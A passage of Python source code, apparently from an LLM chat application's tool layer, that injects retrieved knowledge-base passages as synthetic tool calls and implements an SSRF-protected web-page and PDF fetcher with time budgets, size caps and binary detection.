logger.info("RAG auto-inject: no passage >= %.2f; skipping", floor)
|
|
return None
|
|
text, sources = found
|
|
if text is None:
|
|
return None
|
|
|
|
import json as _json
|
|
import uuid as _uuid
|
|
|
|
call_id = "rag_auto_" + _uuid.uuid4().hex[:12]
|
|
args = {"query": query}
|
|
full_result = text + RAG_SOURCES_SENTINEL + _json.dumps(sources, ensure_ascii = False)
|
|
events = [
|
|
{"type": "status", "text": f"Searching documents: {query[:60]}"},
|
|
{
|
|
"type": "tool_start",
|
|
"tool_name": "search_knowledge_base",
|
|
"tool_call_id": call_id,
|
|
"arguments": args,
|
|
},
|
|
{
|
|
"type": "tool_end",
|
|
"tool_name": "search_knowledge_base",
|
|
"tool_call_id": call_id,
|
|
"result": full_result,
|
|
},
|
|
{"type": "status", "text": ""},
|
|
]
|
|
messages = [
|
|
{
|
|
"role": "assistant",
|
|
"content": "",
|
|
"tool_calls": [
|
|
{
|
|
"id": call_id,
|
|
"type": "function",
|
|
"function": {
|
|
"name": "search_knowledge_base",
|
|
"arguments": _json.dumps(args, ensure_ascii = False),
|
|
},
|
|
}
|
|
],
|
|
},
|
|
{
|
|
"role": "tool",
|
|
"name": "search_knowledge_base",
|
|
"tool_call_id": call_id,
|
|
"content": text,
|
|
},
|
|
]
|
|
logger.info("RAG auto-inject: %d passage(s) for %r", len(sources), query[:80])
|
|
return {"events": events, "messages": messages}
|
|
|
|
|
|
_MAX_PAGE_CHARS = 16000 # cap fetched page text (after HTML-to-MD conversion)
|
|
# Raw download cap > _MAX_PAGE_CHARS since SSR pages embed large <head> sections
|
|
# stripped during conversion; 512 KB still reaches article content.
|
|
_MAX_FETCH_BYTES = 512 * 1024
|
|
# PDF cross-reference data lives at EOF, so extraction needs the whole body.
|
|
_MAX_PDF_FETCH_BYTES = 10 * 1024 * 1024
|
|
_MAX_WEB_PDF_PAGES = 50
|
|
# Control/undecodable chars, excluding text whitespace and ESC (for ANSI logs).
|
|
# Binary when they exceed 12.5%, after allowing 16 minor encoding glitches.
|
|
_BINARY_CHAR_RE = re.compile("[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1a\\x1c-\\x1f\\x7f-\\x9f\\ufffd]")
|
|
_MIN_BINARY_CHARS = 16
|
|
_BINARY_CHAR_DIVISOR = 8
|
|
# Common binary signatures that can otherwise look text-heavy when mislabeled.
|
|
_PDF_MAGIC = b"%PDF-"
|
|
_BINARY_MAGIC = (
|
|
_PDF_MAGIC,
|
|
b"PK\x03\x04", # zip / docx / xlsx / pptx / epub / jar
|
|
b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1", # OLE / legacy Office
|
|
b"\x89PNG\r\n\x1a\n", # PNG
|
|
b"\xff\xd8\xff", # JPEG
|
|
b"GIF87a",
|
|
b"GIF89a",
|
|
b"\x1f\x8b", # gzip
|
|
b"BZh", # bzip2
|
|
b"\xfd7zXZ\x00", # xz
|
|
b"\x28\xb5\x2f\xfd", # zstd
|
|
)
|
|
|
|
# Check UTF-32 first because its little-endian BOM starts with the UTF-16 BOM.
|
|
_UNICODE_BOM_CODECS = (
|
|
(codecs.BOM_UTF32_LE, "utf-32"),
|
|
(codecs.BOM_UTF32_BE, "utf-32"),
|
|
(codecs.BOM_UTF16_LE, "utf-16"),
|
|
(codecs.BOM_UTF16_BE, "utf-16"),
|
|
(codecs.BOM_UTF8, "utf-8-sig"),
|
|
)
|
|
|
|
# A cp1252 retry needs 75% ASCII structure so it cannot rescue high-byte binary.
|
|
_MIN_SINGLE_BYTE_ASCII_RATIO = 3 / 4
|
|
_ASCII_TEXT_BYTES = frozenset((*range(0x20, 0x7F), 0x09, 0x0A, 0x0D, 0x1B))
|
|
|
|
|
|
def _looks_binary(text: str) -> bool:
|
|
"""Whether control or undecodable characters exceed the binary threshold."""
|
|
return len(_BINARY_CHAR_RE.findall(text)) > max(
|
|
_MIN_BINARY_CHARS, len(text) // _BINARY_CHAR_DIVISOR
|
|
)
|
|
|
|
|
|
def _magic_head(data: bytes) -> bytes:
|
|
head = data[:1024].lstrip()
|
|
for bom, _codec in _UNICODE_BOM_CODECS:
|
|
if head.startswith(bom):
|
|
head = head.removeprefix(bom).lstrip()
|
|
break
|
|
return head
|
|
|
|
|
|
def _has_pdf_magic(data: bytes) -> bool:
|
|
return _magic_head(data).startswith(_PDF_MAGIC)
|
|
|
|
|
|
def _has_binary_magic(data: bytes) -> bool:
|
|
"""Whether a common binary signature follows optional BOM or whitespace."""
|
|
return _magic_head(data).startswith(_BINARY_MAGIC)
|
|
|
|
|
|
def _has_single_byte_text_evidence(data: bytes) -> bool:
|
|
"""True when *data* has enough ASCII structure for a cp1252 text retry."""
|
|
if not data:
|
|
return True
|
|
ascii_text_bytes = sum(byte in _ASCII_TEXT_BYTES for byte in data)
|
|
return ascii_text_bytes / len(data) >= _MIN_SINGLE_BYTE_ASCII_RATIO
|
|
|
|
|
|
def _extract_pdf_text(data: bytes) -> str:
|
|
"""Extract page-delimited text with the same parser used by RAG ingestion."""
|
|
from ..rag.parsers import parse_pdf_bytes
|
|
|
|
pages, total_pages = parse_pdf_bytes(data, max_pages = _MAX_WEB_PDF_PAGES)
|
|
page_limit_reached = total_pages > _MAX_WEB_PDF_PAGES
|
|
parts: list[str] = []
|
|
length = 0
|
|
text_limited = False
|
|
for page in pages:
|
|
page_text = page.text.strip()
|
|
if not page_text:
|
|
continue
|
|
section = f"## Page {page.page_number}\n\n{page_text}"
|
|
piece = ("\n\n" if parts else "") + section
|
|
remaining = _MAX_PAGE_CHARS - length
|
|
if len(piece) > remaining:
|
|
parts.append(piece[:remaining])
|
|
text_limited = True
|
|
break
|
|
parts.append(piece)
|
|
length += len(piece)
|
|
|
|
text = "".join(parts).rstrip()
|
|
if not text:
|
|
if page_limit_reached:
|
|
return f"(PDF contains no extractable text in the first {_MAX_WEB_PDF_PAGES} pages)"
|
|
return ""
|
|
limits = []
|
|
if text_limited:
|
|
limits.append(f"text limited to {_MAX_PAGE_CHARS:,} characters")
|
|
if page_limit_reached:
|
|
limits.append(f"page processing capped at {_MAX_WEB_PDF_PAGES} pages")
|
|
if limits:
|
|
marker = f"\n\n... (PDF extraction {'; '.join(limits)})"
|
|
text = text[: _MAX_PAGE_CHARS - len(marker)].rstrip() + marker
|
|
return text
|
|
|
|
|
|
_USER_AGENTS = (
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
|
|
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0",
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0",
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15",
|
|
)
|
|
|
|
_tls_ctx = ssl.create_default_context()
|
|
|
|
|
|
class _NoRedirect(urllib.request.HTTPRedirectHandler):
|
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
|
return None
|
|
|
|
|
|
class _PinnedHTTPSConnection(http.client.HTTPSConnection):
|
|
"""HTTPS connection to a pinned IP, using a different hostname for SNI and
|
|
cert verification.
|
|
|
|
SSRF IP-pinning rewrites URLs to raw IPs; a normal HTTPSConnection would then
|
|
send no SNI and verify the cert against the IP (both fail). This splits the
|
|
concerns: TCP connects to the pinned IP (``host``), TLS uses ``sni_hostname``.
|
|
"""
|
|
|
|
def __init__(self, host: str, *, sni_hostname: str, **kwargs):
|
|
super().__init__(host, **kwargs)
|
|
self._sni_hostname = sni_hostname
|
|
|
|
def connect(self):
|
|
# TCP connect to the pinned IP in self.host.
|
|
http.client.HTTPConnection.connect(self)
|
|
# TLS handshake with the real hostname for SNI + cert verification.
|
|
self.sock = self._context.wrap_socket(
|
|
self.sock,
|
|
server_hostname = self._sni_hostname,
|
|
)
|
|
|
|
|
|
class _SNIHTTPSHandler(urllib.request.HTTPSHandler):
|
|
"""HTTPS handler sending the correct SNI hostname during TLS handshake.
|
|
|
|
SSRF IP-pinning breaks SNI and cert verification; this returns a
|
|
``_PinnedHTTPSConnection`` that connects to the pinned IP but verifies TLS
|
|
against the original hostname.
|
|
"""
|
|
|
|
def __init__(self, hostname: str):
|
|
super().__init__(context = _tls_ctx)
|
|
self._sni_hostname = hostname
|
|
|
|
def https_open(self, req):
|
|
return self.do_open(self._sni_connection, req)
|
|
|
|
def _sni_connection(self, host, **kwargs):
|
|
kwargs["context"] = _tls_ctx
|
|
return _PinnedHTTPSConnection(host, sni_hostname = self._sni_hostname, **kwargs)
|
|
|
|
|
|
def _validate_and_resolve_host(hostname: str, port: int) -> tuple[bool, str, str]:
|
|
"""Resolve *hostname*, reject non-public IPs, return a pinned IP string.
|
|
|
|
Returns ``(ok, reason_or_empty, resolved_ip)``. The caller should connect
|
|
to *resolved_ip* (with a ``Host`` header) to prevent DNS rebinding between
|
|
validation and the actual fetch.
|
|
"""
|
|
import ipaddress
|
|
import socket
|
|
|
|
try:
|
|
infos = socket.getaddrinfo(hostname, port, type = socket.SOCK_STREAM)
|
|
except (OSError, UnicodeError) as e:
|
|
# IDNA encoding rejects a hostname with UnicodeError, not OSError.
|
|
return False, f"Failed to resolve host: {e}", ""
|
|
|
|
if not infos:
|
|
return False, f"Failed to resolve host: no addresses for {hostname!r}", ""
|
|
|
|
for *_, sockaddr in infos:
|
|
ip = ipaddress.ip_address(sockaddr[0])
|
|
# `not ip.is_global` is the source of truth (also rejects CGNAT and
|
|
# benchmarking/doc ranges); the explicit predicates only label the error.
|
|
if (
|
|
not ip.is_global
|
|
or ip.is_private
|
|
or ip.is_loopback
|
|
or ip.is_link_local
|
|
or ip.is_multicast
|
|
or ip.is_reserved
|
|
or ip.is_unspecified
|
|
):
|
|
return False, f"Blocked: refusing to fetch non-public address {ip}.", ""
|
|
|
|
# Return the first resolved address for pinning.
|
|
first_ip = infos[0][4][0]
|
|
return True, "", first_ip
|
|
|
|
|
|
# Binary application subtypes rejected by MIME; other application types are
|
|
# sniffed so textual artifacts such as SQL stay usable.
|
|
_BINARY_APPLICATION_SUBTYPES = frozenset(
|
|
{
|
|
"epub+zip",
|
|
"gzip",
|
|
"java-archive",
|
|
"pdf",
|
|
"vnd.apple.installer+xml",
|
|
"wasm",
|
|
"x-7z-compressed",
|
|
"x-bzip2",
|
|
"x-gzip",
|
|
"x-rar-compressed",
|
|
"x-tar",
|
|
"x-xz",
|
|
"zip",
|
|
"zstd",
|
|
}
|
|
)
|
|
|
|
|
|
def _is_text_candidate_content_type(content_type: str | None) -> bool:
|
|
"""Whether a MIME type is textual or ambiguous enough for byte sniffing."""
|
|
match = re.match(r"[\w.+-]+/[\w.+-]+", content_type or "")
|
|
if not match:
|
|
return True
|
|
ct = match.group(0).lower()
|
|
if ct.startswith("text/"):
|
|
return True
|
|
if ct.startswith("application/"):
|
|
subtype = ct[len("application/") :]
|
|
return subtype not in _BINARY_APPLICATION_SUBTYPES
|
|
return False
|
|
|
|
|
|
# First path segments on github.com that are site pages, not repo owners.
|
|
_GITHUB_NON_OWNER_SEGMENTS = frozenset(
|
|
{
|
|
"about",
|
|
"apps",
|
|
"codespaces",
|
|
"collections",
|
|
"contact",
|
|
"customer-stories",
|
|
"dashboard",
|
|
"discussions",
|
|
"enterprise",
|
|
"explore",
|
|
"features",
|
|
"issues",
|
|
"join",
|
|
"login",
|
|
"marketplace",
|
|
"new",
|
|
"notifications",
|
|
"organizations",
|
|
"orgs",
|
|
"pricing",
|
|
"pulls",
|
|
"search",
|
|
"security",
|
|
"settings",
|
|
"signup",
|
|
"site",
|
|
"sponsors",
|
|
"team",
|
|
"topics",
|
|
"trending",
|
|
}
|
|
)
|
|
_GITHUB_NAME_RE = re.compile(r"\A[A-Za-z0-9_.\-]{1,100}\Z")
|
|
|
|
|
|
def _github_repo_readme_api_url(url: str) -> str | None:
|
|
"""README API URL for a ``github.com/{owner}/{repo}`` page, else None.
|
|
|
|
A repo root page rendered as HTML is mostly UI chrome (nav, file table,
|
|
stats); the ``/readme`` API returns the raw README markdown unauthenticated,
|
|
which is what the model actually wants to read.
|
|
"""
|
|
from urllib.parse import urlparse
|
|
|
|
parsed = urlparse(url)
|
|
host = (parsed.hostname or "").lower()
|
|
if host not in ("github.com", "www.github.com"):
|
|
return None
|
|
parts = [p for p in parsed.path.split("/") if p]
|
|
if len(parts) != 2:
|
|
return None
|
|
owner, repo = parts
|
|
if owner.lower() in _GITHUB_NON_OWNER_SEGMENTS:
|
|
return None
|
|
if repo.endswith(".git"):
|
|
repo = repo[: -len(".git")]
|
|
if not (_GITHUB_NAME_RE.match(owner) and _GITHUB_NAME_RE.match(repo)):
|
|
return None
|
|
return f"https://api.github.com/repos/{owner}/{repo}/readme"
|
|
|
|
|
|
# A single fetch can chain several steps (README API attempt, HTML fallback, up
|
|
# to five redirect hops, each reading a body). A per-operation socket timeout
|
|
# bounds one stalled step but not their sum, and nothing aborts on client
|
|
# disconnect, so one overall wall-clock deadline (plus a cooperative
|
|
# cancel_event) bounds the whole fetch instead.
|
|
def _fetch_budget_exceeded(deadline, cancel_event):
|
|
"""User-facing error string when the fetch must stop early, else None."""
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Failed to fetch URL: cancelled."
|
|
if deadline is not None and time.monotonic() >= deadline:
|
|
return "Failed to fetch URL: timed out."
|
|
return None
|
|
|
|
|
|
def _fetch_hop_timeout(timeout, deadline):
|
|
"""Per-operation socket timeout: the lesser of the caller's per-op timeout
|
|
and the time left on the deadline, so one slow hop cannot overrun the whole
|
|
budget. Callers check ``_fetch_budget_exceeded`` first, so remaining time is
|
|
positive here; the tiny floor only guards a race."""
|
|
if deadline is None:
|
|
return timeout
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
remaining = 0.001
|
|
return remaining if timeout is None else min(timeout, remaining)
|
|
|
|
|
|
def _resolve_with_budget(hostname, port, deadline, cancel_event):
|
|
"""``_validate_and_resolve_host`` bounded by the overall fetch budget.
|
|
|
|
``getaddrinfo`` is blocking with no deadline of its own, so a slow resolver
|
|
(or a request cancelled before dispatch) could run past the budget. Resolve
|
|
on a daemon thread and poll the budget so the fetch aborts on time; the
|
|
abandoned lookup is discarded. With no deadline and no cancel_event this is a
|
|
plain synchronous call, so opt-out callers keep the old behavior and cost.
|
|
"""
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
return False, budget_error, ""
|
|
if deadline is None and cancel_event is None:
|
|
return _validate_and_resolve_host(hostname, port)
|
|
|
|
result: "queue.Queue" = queue.Queue(maxsize = 1)
|
|
|
|
def _resolve():
|
|
try:
|
|
result.put(_validate_and_resolve_host(hostname, port))
|
|
except Exception as exc: # defensive: never let the worker die silently
|
|
result.put((False, f"Failed to resolve host: {exc}", ""))
|
|
|
|
threading.Thread(target = _resolve, name = "web-fetch-dns", daemon = True).start()
|
|
while True:
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
return False, budget_error, ""
|
|
try:
|
|
return result.get(timeout = 0.05)
|
|
except queue.Empty:
|
|
continue
|
|
|
|
|
|
def _read_capped_body(resp, max_bytes, timeout, deadline, cancel_event):
|
|
"""Read up to ``max_bytes``, enforcing the overall budget between chunks.
|
|
|
|
A single ``resp.read(max_bytes)`` can block for the whole transfer if the
|
|
server dribbles bytes just inside each socket-inactivity timeout, so the body
|
|
is read in chunks with the budget re-checked (and the socket timeout
|
|
re-tightened toward the deadline) each round. The joined bytes are identical
|
|
to one capped read. Returns ``(error_or_None, body_bytes)``.
|
|
"""
|
|
# Best-effort handle on the underlying socket so its timeout tightens as the
|
|
# deadline nears; absent on test doubles, where the between-chunk budget
|
|
# check still bounds the read.
|
|
sock = getattr(getattr(getattr(resp, "fp", None), "raw", None), "_sock", None)
|
|
chunks = []
|
|
remaining = max_bytes
|
|
while remaining > 0:
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
try:
|
|
resp.close()
|
|
except Exception:
|
|
pass
|
|
return budget_error, b""
|
|
if sock is not None:
|
|
try:
|
|
sock.settimeout(_fetch_hop_timeout(timeout, deadline))
|
|
except Exception:
|
|
pass
|
|
chunk = resp.read(min(65536, remaining))
|
|
if not chunk:
|
|
break
|
|
chunks.append(chunk)
|
|
remaining -= len(chunk)
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
try:
|
|
resp.close()
|
|
except Exception:
|
|
pass
|
|
return budget_error, b""
|
|
return None, b"".join(chunks)
|
|
|
|
|
|
_DOTTED_HOST_RE = re.compile(r"[A-Za-z0-9-]+(\.[A-Za-z0-9-]+)+")
|
|
# ASCII-only because str.isdigit() is True for digits int() refuses ("²"), and
|
|
# capped at 5 digits so the range check never converts an unbounded integer.
|
|
_PORT_RE = re.compile(r"[0-9]{1,5}")
|
|
|
|
|
|
def _normalize_url_scheme(url: str) -> str:
|
|
"""Prepend ``https://`` to bare hosts (``google.com``, ``example.com:8443``).
|
|
|
|
``urlparse`` reads the host of a ``host:port`` input as the scheme, so those
|
|
are recognised by a dotted host-like scheme with an empty netloc. Rewrites a
|
|
dotted host with an optional in-range port, and the ``//host`` form. Real
|
|
schemes (``file:``, ``javascript:``, including ``file:80``), root-relative
|
|
paths (``/login``) and bad ports are returned untouched so the caller
|
|
rejects them. A dotted scheme is indistinguishable from ``host:port``, so
|
|
``com.acme.app:443/cb`` is rewritten too; an empty port (``example.com:``)
|
|
is kept as-is, matching ``https://example.com:``.
|
|
|
|
The host is matched against the raw authority, never against what
|
|
``urlparse`` returned, because urlsplit strips tabs/newlines (3.10) and
|
|
leading C0/space (3.12). Anything it would strip fails the match, so the
|
|
decision and the rewritten string cannot disagree across versions."""
|
|
from urllib.parse import urlparse
|
|
|
|
url = url.strip()
|
|
try:
|
|
parsed = urlparse(url)
|
|
except ValueError:
|
|
# Unmatched IPv6 brackets, or an NFKC-decomposing netloc: not a bare host.
|
|
return url
|
|
if parsed.scheme:
|
|
if parsed.netloc or not _DOTTED_HOST_RE.fullmatch(parsed.scheme):
|
|
return url
|
|
rest = url
|
|
elif url.startswith("//"):
|
|
rest = url[2:]
|
|
elif url.startswith("/"):
|
|
return url
|
|
else:
|
|
rest = url
|
|
|
|
authority = re.split(r"[/?#]", rest, maxsplit = 1)[0]
|
|
host, _, port = authority.partition(":")
|
|
if not _DOTTED_HOST_RE.fullmatch(host):
|
|
return url
|
|
if port and not (_PORT_RE.fullmatch(port) and 1 <= int(port) <= 65535):
|
|
return url
|
|
return "https://" + rest
|
|
|
|
|
|
def _fetch_url_raw(
|
|
url: str,
|
|
timeout: int = 30,
|
|
extra_headers: dict | None = None,
|
|
deadline: float | None = None,
|
|
cancel_event = None,
|
|
website_policy: dict | None = None,
|
|
) -> tuple[str | None, str, str]:
|
|
"""Fetch a URL with SSRF protection; return ``(error, body_text, content_type)``.
|
|
|
|
``error`` is a user-facing message string when the fetch failed (the
|
|
existing "Blocked:" / "Failed to fetch URL:" wording), else ``None``.
|
|
Blocks private/loopback/link-local targets and caps the download size.
|
|
No input reaches the caller as an exception: the URL is model-supplied, so
|
|
every malformed form resolves to one of these strings.
|
|
|
|
``deadline`` is an optional ``time.monotonic`` cutoff for the whole fetch
|
|
(redirect hops and body read included) and ``cancel_event`` aborts it when
|
|
the caller goes away; both default off so callers keep the old behavior.
|
|
"""
|
|
from urllib.parse import urlparse
|
|
from .web_access_policy import check_url_access
|
|
|
|
# Before the policy gate: it requires an http(s) scheme, so a bare host
|
|
# would be refused there and never reach the fetch.
|
|
url = _normalize_url_scheme(url)
|
|
allowed, reason, canonical_host = check_url_access(url, website_policy)
|
|
if not allowed:
|
|
return reason, "", ""
|
|
|
|
# check_url_access already parsed this and read .port, so this cannot raise.
|
|
parsed = urlparse(url)
|
|
port = parsed.port or (443 if parsed.scheme == "https" else 80)
|
|
ok, reason, pinned_ip = _resolve_with_budget(
|
|
canonical_host,
|
|
port,
|
|
deadline,
|
|
cancel_event,
|
|
)
|
|
if not ok:
|
|
return reason, "", ""
|
|
|
|
try:
|
|
from urllib.error import HTTPError as _HTTPError
|
|
from urllib.parse import urljoin, urlunparse
|
|
|
|
max_bytes = _MAX_FETCH_BYTES
|
|
current_url = url
|
|
current_host = canonical_host
|
|
ua = random.choice(_USER_AGENTS)
|
|
|
|
for _hop in range(5):
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
return budget_error, "", ""
|
|
cp = urlparse(current_url)
|
|
# Bracket IPv6 so the netloc stays a valid URL.
|
|
validated_netloc = f"[{current_host}]" if ":" in current_host else current_host
|
|
if cp.port:
|
|
validated_netloc = f"{validated_netloc}:{cp.port}"
|
|
if os.environ.get(_DISABLE_DNS_PINNING_ENV) == "1":
|
|
# Enterprise proxies need the hostname in CONNECT for policy and TLS interception.
|
|
request_url = urlunparse(cp._replace(netloc = validated_netloc))
|
|
else:
|
|
# Pin to the validated IP to prevent DNS rebinding.
|
|
ip_str = f"[{pinned_ip}]" if ":" in pinned_ip else pinned_ip
|
|
ip_netloc = f"{ip_str}:{cp.port}" if cp.port else ip_str
|
|
request_url = urlunparse(cp._replace(netloc = ip_netloc))
|
|
|
|
opener = urllib.request.build_opener(
|
|
_NoRedirect,
|
|
_SNIHTTPSHandler(current_host),
|
|
)
|
|
|
|
headers = {
|
|
"User-Agent": ua,
|
|
"Host": validated_netloc,
|
|
}
|
|
if extra_headers:
|
|
headers.update(extra_headers)
|
|
req = urllib.request.Request(request_url, headers = headers)
|
|
try:
|
|
# Cap the socket timeout at the time left on the overall deadline
|
|
# so a single slow hop cannot outlast the whole fetch budget.
|
|
resp = opener.open(req, timeout = _fetch_hop_timeout(timeout, deadline))
|
|
except _HTTPError as e:
|
|
if e.code not in (301, 302, 303, 307, 308):
|
|
return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}", "", ""
|
|
location = e.headers.get("Location")
|
|
if not location:
|
|
return "Failed to fetch URL: redirect missing Location header.", "", ""
|
|
current_url = urljoin(current_url, location)
|
|
# Server-controlled, so never scheme-upgraded; the gate below
|
|
# reads .port first, so the parse after it cannot raise.
|
|
allowed, policy_reason, redirect_host = check_url_access(
|
|
current_url,
|
|
website_policy,
|
|
)
|
|
if not allowed:
|
|
return policy_reason, "", ""
|
|
rp = urlparse(current_url)
|
|
rp_port = rp.port or (443 if rp.scheme == "https" else 80)
|
|
ok2, reason2, pinned_ip = _resolve_with_budget(
|
|
redirect_host,
|
|
rp_port,
|
|
deadline,
|
|
cancel_event,
|
|
)
|
|
if not ok2:
|
|
return reason2, "", ""
|
|
current_host = redirect_host
|
|
continue
|
|
|
|
# get_content_type() defaults to "text/plain" when the header is
|
|
# absent (RFC 2045); report "" instead so callers can tell a missing
|
|
# header apart from a server that really declared text/plain.
|
|
if resp.headers.get("Content-Type") is None:
|
|
content_type = ""
|
|
else:
|
|
content_type = (resp.headers.get_content_type() or "").lower()
|
|
|
|
# Success: read the capped body enforcing the budget between chunks
|
|
# (see _read_capped_body), so a slow-drip server can't stretch a
|
|
# single resp.read past the deadline.
|
|
declared_pdf = content_type == "application/pdf"
|
|
read_limit = _MAX_PDF_FETCH_BYTES + 1 if declared_pdf else max_bytes
|
|
body_error, raw_bytes = _read_capped_body(
|
|
resp,
|
|
read_limit,
|
|
timeout,
|
|
deadline,
|
|
cancel_event,
|
|
)
|
|
if body_error is not None:
|
|
return body_error, "", ""
|
|
|
|
# A missing or wrong PDF MIME type is common: once the initial text-sized
|
|
# read identifies PDF magic, finish the bounded download to reach the EOF xref.
|
|
if not declared_pdf and len(raw_bytes) == max_bytes and _has_pdf_magic(raw_bytes):
|
|
tail_error, tail = _read_capped_body(
|
|
resp,
|
|
_MAX_PDF_FETCH_BYTES - max_bytes + 1,
|
|
timeout,
|
|
deadline,
|
|
cancel_event,
|
|
)
|
|
if tail_error is not None:
|
|
return tail_error, "", ""
|
|
raw_bytes += tail
|
|
break
|
|
else:
|
|
return "Failed to fetch URL: too many redirects.", "", ""
|
|
|
|
is_pdf = declared_pdf or _has_pdf_magic(raw_bytes)
|
|
if is_pdf:
|
|
if len(raw_bytes) > _MAX_PDF_FETCH_BYTES:
|
|
return (
|
|
"(PDF content exceeds the download limit; not readable as text)",
|
|
"",
|
|
content_type,
|
|
)
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
return budget_error, "", content_type
|
|
try:
|
|
pdf_text = _extract_pdf_text(raw_bytes)
|
|
except Exception as exc:
|
|
logger.debug("web PDF text extraction failed (%s)", type(exc).__name__)
|
|
return "(PDF content could not be read as text)", "", content_type
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
return budget_error, "", content_type
|
|
if not pdf_text:
|
|
pdf_text = "(PDF contains no extractable text)"
|
|
# Report the true type even for a mislabeled body so the caller's "html"
|
|
# check routes the extracted text to the plain-text path, not html_to_markdown.
|
|
return None, pdf_text, "application/pdf"
|
|
|
|
# Reject known-binary MIME types before decoding. Binary is returned as the
|
|
# error string so the caller surfaces the placeholder, not replacement chars.
|
|
if not _is_text_candidate_content_type(content_type):
|
|
# Only echo a clean MIME token back to the model.
|
|
m = re.match(r"[\w.+-]+/[\w.+-]+", content_type or "")
|
|
safe_type = m.group(0) if m else "unknown type"
|
|
return (
|
|
f"(non-text content: {safe_type}, {len(raw_bytes)} bytes; not readable as text)",
|
|
"",
|
|
content_type,
|
|
)
|
|
|
|
# Catch text-labeled binary via its magic signature.
|
|
if _has_binary_magic(raw_bytes):
|
|
return (
|
|
f"(binary content, {len(raw_bytes)} bytes; not readable as text)",
|
|
"",
|
|
content_type,
|
|
)
|
|
|
|
declared = resp.headers.get_content_charset()
|
|
declared_codec = codecs.lookup(declared).name if declared else None
|
|
bom_codec = next(
|
|
(codec for bom, codec in _UNICODE_BOM_CODECS if raw_bytes.startswith(bom)),
|
|
None,
|
|
)
|
|
raw_html = raw_bytes.decode(declared or bom_codec or "utf-8", errors = "replace")
|
|
|
|
# Catch mislabeled or unlabeled binary, including valid UTF-8 controls.
|
|
if _looks_binary(raw_html):
|
|
# Rescue undeclared cp1252 only when the bytes have text structure.
|
|
alt = (
|
|
raw_bytes.decode("cp1252", "replace")
|
|
if declared_codec in (None, "iso8859-1")
|
|
and _has_single_byte_text_evidence(raw_bytes)
|
|
else None
|
|
)
|
|
if alt is not None and not _looks_binary(alt):
|
|
raw_html = alt
|
|
else:
|
|
return (
|
|
f"(binary content, {len(raw_bytes)} bytes; not readable as text)",
|
|
"",
|
|
content_type,
|
|
)
|
|
|
|
return None, raw_html, content_type
|
|
except _HTTPError as e:
|
|
return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}", "", ""
|
|
except Exception as e:
|
|
return f"Failed to fetch URL: {e}", "", ""
|
|
|
|
|
|
# Tags that, at the very START of a body, mark it as HTML. Excludes ambiguous
|
|
# tags (<div>/<p>/<span>/<a>/<img>/<h1>..<h6>/<table>) that legitimately open
|
|
# centered-logo or badge-layout Markdown READMEs and must stay Markdown.
|
|
_HTML_LEADING_TAGS = (
|
|
"html",
|
|
"head",
|
|
"body",
|
|
"title",
|
|
"meta",
|
|
"link",
|
|
"script",
|
|
"style",
|
|
"article",
|
|
"section",
|
|
"main",
|
|
"header",
|
|
"footer",
|
|
"nav",
|
|
"aside",
|
|
"figure",
|
|
"form",
|
|
"ul",
|
|
"ol",
|
|
"dl",
|
|
"pre",
|
|
"blockquote",
|
|
)
|
|
_HTML_LEADING_RE = re.compile(r"<(?:!doctype\s+html|/?(?:" + "|".join(_HTML_LEADING_TAGS) + r")\b)")
|
|
|
|
|
|
def _looks_like_html(body: str) -> bool:
|
|
"""True only when the document ITSELF opens with HTML.
|
|
|
|
Matches an HTML doctype or a leading document/structure tag after optional
|
|
whitespace, not a mere substring, so a Markdown README with a fenced HTML
|
|
example or tags further down stays Markdown. Also detects bare fragments
|
|
(``<body>``/``<article>``/...) with no doctype, so a page with a
|
|
missing/wrong Content-Type is still converted.
|
|
"""
|
|
probe = body.lstrip()[:256].lower()
|
|
return bool(_HTML_LEADING_RE.match(probe))
|
|
|
|
|
|
# Stricter than _HTML_LEADING_RE: only a real document opener (doctype or leading
|
|
# <html>/<head>/<body>), never a block tag a Markdown file can open with. Used on
|
|
# the raw GitHub README body so a Markdown README starting with an HTML block is
|
|
# not run through html_to_markdown, which would collapse its headings, lists and
|
|
# fenced code onto one line.
|
|
_HTML_DOCUMENT_RE = re.compile(r"<(?:!doctype\s+html\b|/?(?:html|head|body)\b)")
|
|
|
|
|
|
def _looks_like_html_document(body: str) -> bool:
|
|
"""True only when the body opens as a full HTML document (e.g. a .html README)."""
|
|
probe = body.lstrip()[:256].lower()
|
|
return bool(_HTML_DOCUMENT_RE.match(probe))
|
|
|
|
|
|
def _truncate_page_text(text: str, max_chars: int) -> str:
|
|
if not text:
|
|
return "(page returned no readable text)"
|
|
if len(text) > max_chars:
|
|
return text[:max_chars] + f"\n\n... (truncated, {len(text)} chars total)"
|
|
return text
|
|
|
|
|
|
def _fetch_page_text(
|
|
url: str,
|
|
max_chars: int = _MAX_PAGE_CHARS,
|
|
timeout: int = 30,
|
